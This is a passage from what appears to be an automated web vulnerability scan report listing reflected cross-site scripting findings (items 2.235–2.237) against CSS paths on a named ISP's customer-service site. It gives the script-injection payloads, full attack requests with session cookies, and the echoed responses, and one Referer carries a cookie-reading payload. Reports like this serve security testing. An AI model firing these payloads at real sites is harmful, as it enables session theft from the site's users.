Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:20 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:20 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css2174b"><script>alert(1)</script>2411e86a0eb/minidashboard.css" />
...[SNIP]...

2.235. https://service.sympatico.ca/css/minidashboard.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/minidashboard.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 905ce"><script>alert(1)</script>4a462f9166b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/minidashboard.css905ce"><script>alert(1)</script>4a462f9166b HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:22 GMT
Connection: close
Set-Cookie: SMSESSION=1ktHR2y5oqQKBxjmVxPzLoLNoMEbY9FEkp3RdOY7TNHRUoFfv2JlJHfB2YS8E4g6uUFrSPnAeAk3MBuIEO1wt2ppjR2EJC72+EGqtW+/o9kVkxVAjJZbMLhrfEobTPwgaqoDl4FEC4BJLlNjaIUQf/YbdbLfS63Y114GRKMnVSZELPAVzTUSadXp1oB6kSn3flktkLjudOVcLm84ld+fODjvy6Ud5Xz1WOmn3mkR/nahchxY1cABMC+MFyzHBbM3bPAmWppRiQF89L+JJl8XcBMzNxaT3YvTQO+9JFrPEZx3UFkhngdO0g==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/minidashboard.css905ce"><script>alert(1)</script>4a462f9166b" />
...[SNIP]...

2.236. https://service.sympatico.ca/css/mybell.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/mybell.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7c40"><script>alert(1)</script>ccf27a6776c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /cssb7c40"><script>alert(1)</script>ccf27a6776c/mybell.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:34 GMT
Connection: close
Set-Cookie: SMSESSION=dRv+BTNNX1TRZPJ9ehmZJVYQQAUGngPKZcU99rK4P4l5mpRkl24Ze/HvTUIMr2g/P0O5lPRya2EJUJtKuP5xR2pRcSlp5hgJnWPgd3Gz49nuadYLRn0cRMup811rqIE5vB3nIL6HEdM/yIAI8yk/8E3C6UbWxMyWOyfvSXjMbmcVzCl1NeqOTJzt8ASO5x2hbrSgD9IimFmAXpttwTxuFxaJz0bcO1uJHR2We3AZUBdhd8wXT8k3E7RhG2UWwiHmAeMHi16qRLQaLURuAGkOKspQ67bfut0HhfKtaO86Co3V5dqB2ZKwGg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:35 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/cssb7c40"><script>alert(1)</script>ccf27a6776c/mybell.css" />
...[SNIP]...

2.237. https://service.sympatico.ca/css/mybell.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/mybell.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8431"><script>alert(1)</script>34711d26e5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/mybell.cssd8431"><script>alert(1)</script>34711d26e5 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:39 GMT
Connection: close
